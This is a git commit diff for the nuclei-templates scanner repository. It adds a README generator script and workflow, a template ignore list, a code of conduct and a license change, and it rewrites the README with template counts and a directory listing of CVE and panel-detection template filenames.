misc changes

Auto Update README [Wed Feb 10 16:03:53 UTC 2021] 🤖
Create CVE-2020-14815.yaml (#836 )
2026-11-07 08:36:19 -10:00 · 2021-02-10 22:07:17 +05:30 · 2021-02-10 16:03:53 +00:00 · 2021-02-10 21:33:30 +05:30 · 2021-02-10 15:18:48 +00:00 · 2021-02-10 20:48:24 +05:30
536 changed files with 11471 additions and 1257 deletions
@@ -0,0 +1,79 @@
+f"""
+# Nuclei Templates
+
+[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
+[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
+[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
+[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+# Resources
+
+- [Templates](#nuclei-templates-overview)
+- [Documentation](#-documentation)
+- [Contributions](#-contributions)
+- [Discussion](#-discussion)
+- [Community](#-community)
+- [Notes](#-notes)
+
+### Nuclei templates overview
+-----
+
+An overview of the nuclei template directory including number of templates associated with each directory. 
+
+
+**Directory structure of nuclei templates:**
+
+| Templates       | Counts                          | Templates        | Counts                         |
+| --------------- | ------------------------------- | ---------------- | ------------------------------ |
+| cves            | {countTpl("cves/*")}            | default-logins   | {countTpl("default-logins/*")} |
+| dns             | {countTpl("dns")}               | exposed-panels   | {countTpl("exposed-panels")}   |
+| exposed-tokens  | {countTpl("exposed-tokens/*")}  | exposures        | {countTpl("exposures/*")}      |
+| fuzzing         | {countTpl("fuzzing")}           | helpers          | {countTpl("helpers/*")}        |
+| miscellaneous   | {countTpl("miscellaneous")}     | misconfiguration | {countTpl("misconfiguration")} |
+| takeovers       | {countTpl("takeovers")}         | technologies     | {countTpl("technologies")}     |
+| vulnerabilities | {countTpl("vulnerabilities/*")} | workflows        | {countTpl("workflows")}        |
+
+
+**Tree structure of nuclei templates:**
+
+<details>
+<summary> Nuclei templates </summary>
+
+```
+{command("tree", 1, -2)}
+```
+
+</details>
+
+**{command("tree", -2, None)}**.
+
+📖 Documentation
+-----
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
+
+💪 Contributions
+-----
+
+Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
+
+💬 Discussion
+-----
+
+Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
+
+👨‍💻 Community
+-----
+
+You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
+
+💡 Notes
+-----
+-  Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
+
+
+Thanks again for your contribution and keeping the community vibrant. :heart:
+"""
@@ -0,0 +1,18 @@
+#!/usr/bin/env python3
+import glob
+import subprocess
+
+def countTpl(path):
+	return len(glob.glob(path + "/*.*"))
+
+def command(args, start=None, end=None):
+	return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
+
+if __name__ == "__main__":
+	version = command(["git", "describe", "--tags", "--abbrev=0"])
+	template = eval(open(".github/scripts/README.tmpl", "r").read())
+
+	print(template)
+	f = open("README.md", "w")
+	f.write(template)
+	f.close()
@@ -0,0 +1,44 @@
+name: "Auto Update README"
+
+on:
+  push:
+    branches:
+      - master
+  create:
+    tags:
+      - v*
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
+    steps:
+      - name: Install tree
+        run: sudo apt-get install tree -y
+
+      - name: Check out code
+        uses: actions/checkout@master
+        with:
+          persist-credentials: false
+          fetch-depth: 0
+
+      - name: Set up Python
+        uses: actions/setup-python@v2
+        with:
+          python-version: "3.8"
+
+      - name: Update README
+        run: |
+          python .github/scripts/update-readme.py
+
+      - name: Commit files
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Update README [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}
@@ -1,4 +1,28 @@
+# ==| Nuclei Templates Ignore list |==
+# ====================================
+#
+# This list can be used to define template/s that will be blocked from execution.
+# When a folder/directory is listed under this list, the templates within folder can be executed only when running them directly.
+# For example, "nuclei -t fuzzing" will not work, "nuclei -t fuzzing/wp-plugin-scan.yaml" will be executed.
+# 
+# Why ignore list? - To ensure nuclei is not getting used to hammer the every web server with templates that are meant to be used for specific use cases. 
+# and that doesn't mean nuclei won't let you run these templates. if you know what you are doing, feel free to updates this list locally as per your need.
+#
+# This list also can be used to ignore templates that you wanted to exclude from every scan.
+# More details - https://github.com/projectdiscovery/nuclei#using-nuclei-ignore-file-for-template-exclusion
+
 .pre-commit-config.yaml
-security-misconfiguration/missing-x-frame-options.yaml
-panels/
-cves/CVE-2020-13379.yaml
+cves/2013/CVE-2013-2251.yaml
+cves/2017/CVE-2017-7529.yaml	
+cves/2020/CVE-2020-13379.yaml	
+cves/2020/CVE-2020-16139.yaml
+
+# Fuzzing is excluded to avoid running bruteforce on every server as default.
+fuzzing/
+
+# Wordlist directory contains payload to be used with templates. 
+helpers/
+miscellaneous/
+
+# Workflows are excluded from default run to avoid duplicate scans.
+workflows/
@@ -0,0 +1,76 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+In the interest of fostering an open and welcoming environment, we as
+contributors and maintainers pledge to making participation in our project and
+our community a harassment-free experience for everyone, regardless of age, body
+size, disability, ethnicity, sex characteristics, gender identity and expression,
+level of experience, education, socio-economic status, nationality, personal
+appearance, race, religion, or sexual identity and orientation.
+
+## Our Standards
+
+Examples of behavior that contributes to creating a positive environment
+include:
+
+* Using welcoming and inclusive language
+* Being respectful of differing viewpoints and experiences
+* Gracefully accepting constructive criticism
+* Focusing on what is best for the community
+* Showing empathy towards other community members
+
+Examples of unacceptable behavior by participants include:
+
+* The use of sexualized language or imagery and unwelcome sexual attention or
+ advances
+* Trolling, insulting/derogatory comments, and personal or political attacks
+* Public or private harassment
+* Publishing others' private information, such as a physical or electronic
+ address, without explicit permission
+* Other conduct which could reasonably be considered inappropriate in a
+ professional setting
+
+## Our Responsibilities
+
+Project maintainers are responsible for clarifying the standards of acceptable
+behavior and are expected to take appropriate and fair corrective action in
+response to any instances of unacceptable behavior.
+
+Project maintainers have the right and responsibility to remove, edit, or
+reject comments, commits, code, wiki edits, issues, and other contributions
+that are not aligned to this Code of Conduct, or to ban temporarily or
+permanently any contributor for other behaviors that they deem inappropriate,
+threatening, offensive, or harmful.
+
+## Scope
+
+This Code of Conduct applies both within project spaces and in public spaces
+when an individual is representing the project or its community. Examples of
+representing a project or community include using an official project e-mail
+address, posting via an official social media account, or acting as an appointed
+representative at an online or offline event. Representation of a project may be
+further defined and clarified by project maintainers.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be
+reported by contacting the project team at contact@projectdiscovery.io. All
+complaints will be reviewed and investigated and will result in a response that
+is deemed necessary and appropriate to the circumstances. The project team is
+obligated to maintain confidentiality with regard to the reporter of an incident.
+Further details of specific enforcement policies may be posted separately.
+
+Project maintainers who do not follow or enforce the Code of Conduct in good
+faith may face temporary or permanent repercussions as determined by other
+members of the project's leadership.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
+available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
+
+[homepage]: https://www.contributor-covenant.org
+
+For answers to common questions about this code of conduct, see
+https://www.contributor-covenant.org/faq
@@ -1,6 +1,6 @@
 MIT License

-Copyright (c) 2020 Exposed Atoms.
+Copyright (c) 2020 ProjectDiscovery, Inc.

 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal
@@ -1,3 +1,4 @@
+
 # Nuclei Templates

 [![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
@@ -8,319 +9,648 @@

 Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.

-An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+# Resources

-### nuclei templates `v7.0.0`
+- [Templates](#nuclei-templates-overview)
+- [Documentation](#-documentation)
+- [Contributions](#-contributions)
+- [Discussion](#-discussion)
+- [Community](#-community)
+- [Notes](#-notes)

-| Template Directory      	| Number of Templates      | Number of HTTP/DNS requests  |
-|---------------------------|--------------------------|------------------------------|
-| cves                     	|86                        |131                           |
-| default-credentials       |03                        |04                            |
-| dns                     	|04                        |04                            |
-| files                     |34                        |111                           |
-| generic-detections        |03                        |03                            |
-| panels                    |28                        |82                            |
-| security-misconfiguration |16                  	   |93                            |
-| subdomain-takeover        |02           			   |02                            |
-| technologies              |24      				   |43                            |
-| tokens                    |07                        |07                            |
-| vulnerabilities           |26          			   |55                            |
-| workflows                 |12              		   |12*                           |
+### Nuclei templates overview
+-----

-### nuclei templates `v7.0.0` tree overview 
+An overview of the nuclei template directory including number of templates associated with each directory. 
+
+
+**Directory structure of nuclei templates:**
+
+| Templates       | Counts                          | Templates        | Counts                         |
+| --------------- | ------------------------------- | ---------------- | ------------------------------ |
+| cves            | 175            | default-logins   | 8 |
+| dns             | 6               | exposed-panels   | 74   |
+| exposed-tokens  | 9  | exposures        | 42      |
+| fuzzing         | 4           | helpers          | 2        |
+| miscellaneous   | 12     | misconfiguration | 40 |
+| takeovers       | 1         | technologies     | 45     |
+| vulnerabilities | 79 | workflows        | 18        |
+
+
+**Tree structure of nuclei templates:**

 <details>
-<summary>Template Directory</summary>
+<summary> Nuclei templates </summary>

 ```
+├── CODE_OF_CONDUCT.md
+├── LICENSE.md
+├── README.md
 ├── cves
-│   ├── CVE-2017-10075.yaml
-│   ├── CVE-2017-14537.yaml
-│   ├── CVE-2017-14849.yaml
-│   ├── CVE-2017-5638.yaml
-│   ├── CVE-2017-7391.yaml
-│   ├── CVE-2017-7529.yaml
-│   ├── CVE-2017-9506.yaml
-│   ├── CVE-2017-9841.yaml
-│   ├── CVE-2018-0296.yaml
-│   ├── CVE-2018-1000129.yaml
-│   ├── CVE-2018-11409.yaml
-│   ├── CVE-2018-11759.yaml
-│   ├── CVE-2018-1247.yaml
-│   ├── CVE-2018-1271.yaml
-│   ├── CVE-2018-13379.yaml
-│   ├── CVE-2018-14728.yaml
-│   ├── CVE-2018-16341.yaml
-│   ├── CVE-2018-18069.yaml
-│   ├── CVE-2018-19439.yaml
-│   ├── CVE-2018-20824.yaml
-│   ├── CVE-2018-2791.yaml
-│   ├── CVE-2018-3714.yaml
-│   ├── CVE-2018-3760.yaml
-│   ├── CVE-2018-5230.yaml
-│   ├── CVE-2018-7490.yaml
-│   ├── CVE-2019-1010287.yaml
-│   ├── CVE-2019-10475.yaml
-│   ├── CVE-2019-11043.yaml
-│   ├── CVE-2019-11248.yaml
-│   ├── CVE-2019-11510.yaml
-│   ├── CVE-2019-11580.yaml
-│   ├── CVE-2019-12314.yaml
-│   ├── CVE-2019-12461.yaml
-│   ├── CVE-2019-12593.yaml
-│   ├── CVE-2019-14322.yaml
-│   ├── CVE-2019-14696.yaml
-│   ├── CVE-2019-14974.yaml
-│   ├── CVE-2019-15043.yaml
-│   ├── CVE-2019-16278.yaml
-│   ├── CVE-2019-16759-1.yaml
-│   ├── CVE-2019-16759.yaml
-│   ├── CVE-2019-17382.yaml
-│   ├── CVE-2019-17558.yaml
-│   ├── CVE-2019-18394.yaml
-│   ├── CVE-2019-19368.yaml
-│   ├── CVE-2019-19781.yaml
-│   ├── CVE-2019-19908.yaml
-│   ├── CVE-2019-19985.yaml
-│   ├── CVE-2019-2588.yaml
-│   ├── CVE-2019-2725.yaml
-│   ├── CVE-2019-3396.yaml
-│   ├── CVE-2019-3799.yaml
-│   ├── CVE-2019-5418.yaml
-│   ├── CVE-2019-6112.yaml
-│   ├── CVE-2019-7609.yaml
-│   ├── CVE-2019-8449.yaml
-│   ├── CVE-2019-8451.yaml
-│   ├── CVE-2019-8903.yaml
-│   ├── CVE-2019-8982.yaml
-│   ├── CVE-2019-9978.yaml
-│   ├── CVE-2020-10199.yaml
-│   ├── CVE-2020-10204.yaml
-│   ├── CVE-2020-11034.yaml
-│   ├── CVE-2020-1147.yaml
-│   ├── CVE-2020-12720.yaml
-│   ├── CVE-2020-13167.yaml
-│   ├── CVE-2020-13379.yaml
-│   ├── CVE-2020-15920.yaml
-│   ├── CVE-2020-17505.yaml
-│   ├── CVE-2020-17506.yaml
-│   ├── CVE-2020-2096.yaml
-│   ├── CVE-2020-2140.yaml
-│   ├── CVE-2020-24223.yaml
-│   ├── CVE-2020-3187.yaml
-│   ├── CVE-2020-3452.yaml
-│   ├── CVE-2020-5284.yaml
-│   ├── CVE-2020-5405.yaml
-│   ├── CVE-2020-5410.yaml
-│   ├── CVE-2020-5412.yaml
-│   ├── CVE-2020-5776.yaml
-│   ├── CVE-2020-5777.yaml
-│   ├── CVE-2020-5902.yaml
-│   ├── CVE-2020-6287.yaml
-│   ├── CVE-2020-7209.yaml
-│   ├── CVE-2020-7961.yaml
-│   ├── CVE-2020-8091.yaml
-│   ├── CVE-2020-8115.yaml
-│   ├── CVE-2020-8163.yaml
-│   ├── CVE-2020-8191.yaml
-│   ├── CVE-2020-8193.yaml
-│   ├── CVE-2020-8194.yaml
-│   ├── CVE-2020-8512.yaml
-│   ├── CVE-2020-8982.yaml
-│   ├── CVE-2020-9484.yaml
-│   ├── CVE-2020-9496.yaml
-│   └── CVE-2020-9757.yaml
-├── default-credentials
-│   ├── grafana-default-credential.yaml
-│   ├── rabbitmq-default-admin.yaml
-│   └── tomcat-manager-default.yaml
+│   ├── 2005
+│   │   └── CVE-2005-2428.yaml
+│   ├── 2008
+│   │   └── CVE-2008-2398.yaml
+│   ├── 2013
+│   │   └── CVE-2013-2251.yaml
+│   ├── 2014
+│   │   └── CVE-2014-6271.yaml
+│   ├── 2017
+│   │   ├── CVE-2017-10075.yaml
+│   │   ├── CVE-2017-10271.yaml
+│   │   ├── CVE-2017-11444.yaml
+│   │   ├── CVE-2017-12615.yaml
+│   │   ├── CVE-2017-12637.yaml
+│   │   ├── CVE-2017-14537.yaml
+│   │   ├── CVE-2017-14849.yaml
+│   │   ├── CVE-2017-5638.yaml
+│   │   ├── CVE-2017-7391.yaml
+│   │   ├── CVE-2017-7615.yaml
+│   │   ├── CVE-2017-9506.yaml
+│   │   └── CVE-2017-9841.yaml
+│   ├── 2018
+│   │   ├── CVE-2018-0296.yaml
+│   │   ├── CVE-2018-1000129.yaml
+│   │   ├── CVE-2018-11409.yaml
+│   │   ├── CVE-2018-11759.yaml
+│   │   ├── CVE-2018-1247.yaml
+│   │   ├── CVE-2018-1271.yaml
+│   │   ├── CVE-2018-1273.yaml
+│   │   ├── CVE-2018-13379.yaml
+│   │   ├── CVE-2018-13380.yaml
+│   │   ├── CVE-2018-14574.yaml
+│   │   ├── CVE-2018-14728.yaml
+│   │   ├── CVE-2018-16341.yaml
+│   │   ├── CVE-2018-16763.yaml
+│   │   ├── CVE-2018-17431.yaml
+│   │   ├── CVE-2018-18069.yaml
+│   │   ├── CVE-2018-19386.yaml
+│   │   ├── CVE-2018-19439.yaml
+│   │   ├── CVE-2018-20824.yaml
+│   │   ├── CVE-2018-2791.yaml
+│   │   ├── CVE-2018-3167.yaml
+│   │   ├── CVE-2018-3714.yaml
+│   │   ├── CVE-2018-3760.yaml
+│   │   ├── CVE-2018-5230.yaml
+│   │   ├── CVE-2018-7251.yaml
+│   │   ├── CVE-2018-7490.yaml
+│   │   ├── CVE-2018-8006.yaml
+│   │   └── CVE-2018-8033.yaml
+│   ├── 2019
+│   │   ├── CVE-2019-10092.yaml
+│   │   ├── CVE-2019-1010287.yaml
+│   │   ├── CVE-2019-10475.yaml
+│   │   ├── CVE-2019-11248.yaml
+│   │   ├── CVE-2019-11510.yaml
+│   │   ├── CVE-2019-11580.yaml
+│   │   ├── CVE-2019-11581.yaml
+│   │   ├── CVE-2019-11869.yaml
+│   │   ├── CVE-2019-12314.yaml
+│   │   ├── CVE-2019-12461.yaml
+│   │   ├── CVE-2019-12593.yaml
+│   │   ├── CVE-2019-12725.yaml
+│   │   ├── CVE-2019-14223.yaml
+│   │   ├── CVE-2019-14322.yaml
+│   │   ├── CVE-2019-14696.yaml
+│   │   ├── CVE-2019-14974.yaml
+│   │   ├── CVE-2019-15043.yaml
+│   │   ├── CVE-2019-15107.yaml
+│   │   ├── CVE-2019-15858.yaml
+│   │   ├── CVE-2019-16278.yaml
+│   │   ├── CVE-2019-1653.yaml
+│   │   ├── CVE-2019-16662.yaml
+│   │   ├── CVE-2019-16759.yaml
+│   │   ├── CVE-2019-16920.yaml
+│   │   ├── CVE-2019-17382.yaml
+│   │   ├── CVE-2019-17506.yaml
+│   │   ├── CVE-2019-17558.yaml
+│   │   ├── CVE-2019-18394.yaml
+│   │   ├── CVE-2019-19368.yaml
+│   │   ├── CVE-2019-19781.yaml
+│   │   ├── CVE-2019-19908.yaml
+│   │   ├── CVE-2019-19985.yaml
+│   │   ├── CVE-2019-20141.yaml
+│   │   ├── CVE-2019-2588.yaml
+│   │   ├── CVE-2019-2725.yaml
+│   │   ├── CVE-2019-3396.yaml
+│   │   ├── CVE-2019-3402.yaml
+│   │   ├── CVE-2019-3799.yaml
+│   │   ├── CVE-2019-5127.yaml
+│   │   ├── CVE-2019-5418.yaml
+│   │   ├── CVE-2019-6112.yaml
+│   │   ├── CVE-2019-6340.yaml
+│   │   ├── CVE-2019-6715.yaml
+│   │   ├── CVE-2019-7219.yaml
+│   │   ├── CVE-2019-7256.yaml
+│   │   ├── CVE-2019-7609.yaml
+│   │   ├── CVE-2019-8442.yaml
+│   │   ├── CVE-2019-8449.yaml
+│   │   ├── CVE-2019-8451.yaml
+│   │   ├── CVE-2019-8903.yaml
+│   │   ├── CVE-2019-8982.yaml
+│   │   ├── CVE-2019-9041.yaml
+│   │   ├── CVE-2019-9670.yaml
+│   │   ├── CVE-2019-9733.yaml
+│   │   ├── CVE-2019-9955.yaml
+│   │   └── CVE-2019-9978.yaml
+│   ├── 2020
+│   │   ├── CVE-2020-0618.yaml
+│   │   ├── CVE-2020-10148.yaml
+│   │   ├── CVE-2020-11034.yaml
+│   │   ├── CVE-2020-1147.yaml
+│   │   ├── CVE-2020-11710.yaml
+│   │   ├── CVE-2020-11738.yaml
+│   │   ├── CVE-2020-12116.yaml
+│   │   ├── CVE-2020-12720.yaml
+│   │   ├── CVE-2020-13167.yaml
+│   │   ├── CVE-2020-13937.yaml
+│   │   ├── CVE-2020-13942.yaml
+│   │   ├── CVE-2020-14179.yaml
+│   │   ├── CVE-2020-14181.yaml
+│   │   ├── CVE-2020-14815.yaml
+│   │   ├── CVE-2020-14864.yaml
+│   │   ├── CVE-2020-14882.yaml
+│   │   ├── CVE-2020-15129.yaml
+│   │   ├── CVE-2020-15505.yaml
+│   │   ├── CVE-2020-15568.yaml
+│   │   ├── CVE-2020-15920.yaml
+│   │   ├── CVE-2020-16846.yaml
+│   │   ├── CVE-2020-16952.yaml
+│   │   ├── CVE-2020-17505.yaml
+│   │   ├── CVE-2020-17506.yaml
+│   │   ├── CVE-2020-17518.yaml
+│   │   ├── CVE-2020-17519.yaml
+│   │   ├── CVE-2020-17530.yaml
+│   │   ├── CVE-2020-1943.yaml
+│   │   ├── CVE-2020-2096.yaml
+│   │   ├── CVE-2020-2140.yaml
+│   │   ├── CVE-2020-23972.yaml
+│   │   ├── CVE-2020-24223.yaml
+│   │   ├── CVE-2020-24312.yaml
+│   │   ├── CVE-2020-24579.yaml
+│   │   ├── CVE-2020-2551.yaml
+│   │   ├── CVE-2020-25540.yaml
+│   │   ├── CVE-2020-26214.yaml
+│   │   ├── CVE-2020-27986.yaml
+│   │   ├── CVE-2020-3187.yaml
+│   │   ├── CVE-2020-3452.yaml
+│   │   ├── CVE-2020-35476.yaml
+│   │   ├── CVE-2020-4463.yaml
+│   │   ├── CVE-2020-5284.yaml
+│   │   ├── CVE-2020-5405.yaml
+│   │   ├── CVE-2020-5410.yaml
+│   │   ├── CVE-2020-5412.yaml
+│   │   ├── CVE-2020-5776.yaml
+│   │   ├── CVE-2020-5777.yaml
+│   │   ├── CVE-2020-5902.yaml
+│   │   ├── CVE-2020-6287.yaml
+│   │   ├── CVE-2020-7209.yaml
+│   │   ├── CVE-2020-7318.yaml
+│   │   ├── CVE-2020-7961.yaml
+│   │   ├── CVE-2020-8091.yaml
+│   │   ├── CVE-2020-8115.yaml
+│   │   ├── CVE-2020-8163.yaml
+│   │   ├── CVE-2020-8191.yaml
+│   │   ├── CVE-2020-8193.yaml
+│   │   ├── CVE-2020-8194.yaml
+│   │   ├── CVE-2020-8209.yaml
+│   │   ├── CVE-2020-8512.yaml
+│   │   ├── CVE-2020-8515.yaml
+│   │   ├── CVE-2020-8982.yaml
+│   │   ├── CVE-2020-9047.yaml
+│   │   ├── CVE-2020-9344.yaml
+│   │   ├── CVE-2020-9376.yaml
+│   │   ├── CVE-2020-9484.yaml
+│   │   ├── CVE-2020-9496.yaml
+│   │   └── CVE-2020-9757.yaml
+│   └── 2021
+│       ├── CVE-2021-22122.yaml
+│       ├── CVE-2021-22873.yaml
+│       ├── CVE-2021-25646.yaml
+│       ├── CVE-2021-26710.yaml
+│       ├── CVE-2021-26722.yaml
+│       ├── CVE-2021-26723.yaml
+│       └── CVE-2021-3019.yaml
+├── default-logins
+│   ├── activemq
+│   │   └── activemq-default-login.yaml
+│   ├── ambari
+│   │   └── ambari-default-credentials.yaml
+│   ├── apache
+│   │   └── tomcat-manager-default.yaml
+│   ├── grafana
+│   │   └── grafana-default-credential.yaml
+│   ├── ofbiz
+│   │   └── ofbiz-default-credentials.yaml
+│   ├── rabbitmq
+│   │   └── rabbitmq-default-admin.yaml
+│   ├── solarwinds
+│   │   └── solarwinds-default-admin.yaml
+│   └── zabbix
+│       └── zabbix-default-credentials.yaml
 ├── dns
 │   ├── azure-takeover-detection.yaml
 │   ├── cname-service-detector.yaml
 │   ├── dead-host-with-cname.yaml
-│   └── servfail-refused-hosts.yaml
-├── files
-│   ├── apc-info.yaml
-│   ├── cgi-test-page.yaml
-│   ├── dir-listing.yaml
-│   ├── docker-registry.yaml
-│   ├── druid-monitor.yaml
-│   ├── drupal-install.yaml
-│   ├── ds_store.yaml
-│   ├── elasticsearch.yaml
-│   ├── error-logs.yaml
-│   ├── exposed-kibana.yaml
-│   ├── exposed-svn.yaml
-│   ├── filezilla.yaml
-│   ├── firebase-detect.yaml
-│   ├── git-config.yaml
-│   ├── htaccess-config.yaml
-│   ├── jkstatus-manager.yaml
-│   ├── jolokia.yaml
-│   ├── laravel-env.yaml
-│   ├── lazy-file.yaml
-│   ├── phpinfo.yaml
-│   ├── public-tomcat-instance.yaml
-│   ├── robots.txt.yaml
-│   ├── security.txt.yaml
-│   ├── server-status-localhost.yaml
-│   ├── sql-dump.yaml
-│   ├── telerik-dialoghandler-detect.yaml
-│   ├── telerik-fileupload-detect.yaml
-│   ├── tomcat-scripts.yaml
-│   ├── wadl-files.yaml
-│   ├── web-config.yaml
-│   ├── wordpress-debug-log.yaml
-│   ├── wordpress-directory-listing.yaml
-│   ├── wordpress-user-enumeration.yaml
-│   ├── wp-xmlrpc.yaml
-│   └── zip-backup-files.yaml
-├── generic-detections
-│   ├── basic-xss-prober.yaml
-│   ├── general-tokens.yaml
-│   └── top-15-xss.yaml
-├── panels
+│   ├── mx-service-detector.yaml
+│   ├── servfail-refused-hosts.yaml
+│   └── spoofable-spf-records-ptr.yaml
+├── exposed-panels
+│   ├── active-admin-exposure.yaml
+│   ├── activemq-panel.yaml
+│   ├── adminer-panel.yaml
+│   ├── aims-password-mgmt-client.yaml
+│   ├── airflow-exposure.yaml
+│   ├── ambari-exposure.yaml
+│   ├── ansible-tower-exposure.yaml
 │   ├── atlassian-crowd-panel.yaml
 │   ├── cisco-asa-panel.yaml
 │   ├── citrix-adc-gateway-detect.yaml
-│   ├── compal.yaml
-│   ├── crxde.yaml
-│   ├── docker-api.yaml
-│   ├── fortinet-fortigate-panel.yaml
-│   ├── globalprotect-panel.yaml
-│   ├── grafana-detect.yaml
-│   ├── iomega-lenovo-emc-shared-nas-detect.yaml
-│   ├── jenkins-asyncpeople.yaml
-│   ├── jmx-console.yaml
-│   ├── kubernetes-pods.yaml
-│   ├── mongo-express-web-gui.yaml
-│   ├── parallels-html-client.yaml
-│   ├── pfsense-web-gui.yaml
-│   ├── phpmyadmin-panel.yaml
-│   ├── polycom-admin-detect.yaml
-│   ├── pulse-secure-panel.yaml
-│   ├── rabbitmq-dashboard.yaml
-│   ├── sap-netweaver-detect.yaml
-│   ├── sap-recon-detect.yaml
-│   ├── sophos-fw-version-detect.yaml
-│   ├── supervpn-panel.yaml
-│   ├── swagger-panel.yaml
-│   ├── tikiwiki-cms.yaml
-│   ├── traefik-dashboard
-│   ├── traefik-dashboard.yaml
-│   ├── weave-scope-dashboard-detect.yaml
-│   ├── webeditors.yaml
-│   └── workspaceone-uem-airWatch-dashboard-detect.yaml
-├── payloads
-│   ├── CVE-2020-5776.csv
-│   └── CVE-2020-6287.xml
-├── security-misconfiguration
-│   ├── basic-cors-flash.yaml
-│   ├── basic-cors.yaml
-│   ├── drupal-user-enum-ajax.yaml
-│   ├── drupal-user-enum-redirect.yaml
-│   ├── front-page-misconfig.yaml
-│   ├── jira-service-desk-signup.yaml
-│   ├── jira-unauthenticated-dashboards.yaml
-│   ├── jira-unauthenticated-popular-filters.yaml
-│   ├── jira-unauthenticated-projects.yaml
-│   ├── jira-unauthenticated-user-picker.yaml
-│   ├── missing-x-frame-options.yaml
-│   ├── put-method-enabled.yaml
-│   ├── rack-mini-profiler.yaml
-│   ├── springboot-detect.yaml
-│   ├── wamp-xdebug-detect.yaml
-│   └── wordpress-accessible-wpconfig.yaml
-├── subdomain-takeover
-│   ├── detect-all-takeovers.yaml
-│   └── s3-subtakeover.yaml
-├── technologies
-│   ├── artica-web-proxy-detect.yaml
-│   ├── bigip-config-utility-detect.yaml
 │   ├── citrix-vpn-detect.yaml
-│   ├── clockwork-php-page.yaml
-│   ├── couchdb-detect.yaml
-│   ├── favicon-detection.yaml
+│   ├── compal-panel.yaml
+│   ├── couchdb-exposure.yaml
+│   ├── couchdb-fauxton.yaml
+│   ├── crxde.yaml
+│   ├── django-admin-panel.yaml
+│   ├── druid-console-exposure.yaml
+│   ├── exposed-pagespeed-global-admin.yaml
+│   ├── exposed-webalizer.yaml
+│   ├── flink-exposure.yaml
+│   ├── fortinet-fortigate-panel.yaml
+│   ├── fortiweb-panel.yaml
 │   ├── github-enterprise-detect.yaml
 │   ├── gitlab-detect.yaml
+│   ├── globalprotect-panel.yaml
+│   ├── go-anywhere-client.yaml
+│   ├── grafana-detect.yaml
+│   ├── hadoop-exposure.yaml
+│   ├── identityguard-selfservice-entrust.yaml
+│   ├── iomega-lenovo-emc-shared-nas-detect.yaml
+│   ├── jira-detect.yaml
+│   ├── jmx-console.yaml
+│   ├── kafka-connect-ui.yaml
+│   ├── kafka-monitoring.yaml
+│   ├── kafka-topics-ui.yaml
+│   ├── key-cloak-admin-panel.yaml
+│   ├── kubernetes-dashboard.yaml
+│   ├── manage-engine-admanager-panel.yaml
+│   ├── mobileiron-login.yaml
+│   ├── netscaler-gateway.yaml
+│   ├── network-camera-detect.yaml
+│   ├── oipm-detect.yaml
+│   ├── parallels-html-client.yaml
+│   ├── phpmyadmin-panel.yaml
+│   ├── polycom-admin-detect.yaml
+│   ├── prometheus-exporter-detect.yaml
+│   ├── public-tomcat-manager.yaml
+│   ├── pulse-secure-panel.yaml
+│   ├── rabbitmq-dashboard.yaml
+│   ├── rocketmq-console-exposure.yaml
+│   ├── rsa-self-service.yaml
+│   ├── sap-hana-xsengine-panel.yaml
+│   ├── sap-netweaver-detect.yaml
+│   ├── sap-recon-detect.yaml
+│   ├── selenoid-ui-exposure.yaml
+│   ├── setup-page-exposure.yaml
+│   ├── solarwinds-orion.yaml
+│   ├── solr-exposure.yaml
+│   ├── sonarqube-login.yaml
+│   ├── sonicwall-management-panel.yaml
+│   ├── sonicwall-sslvpn-panel.yaml
+│   ├── sophos-fw-version-detect.yaml
+│   ├── supervpn-panel.yaml
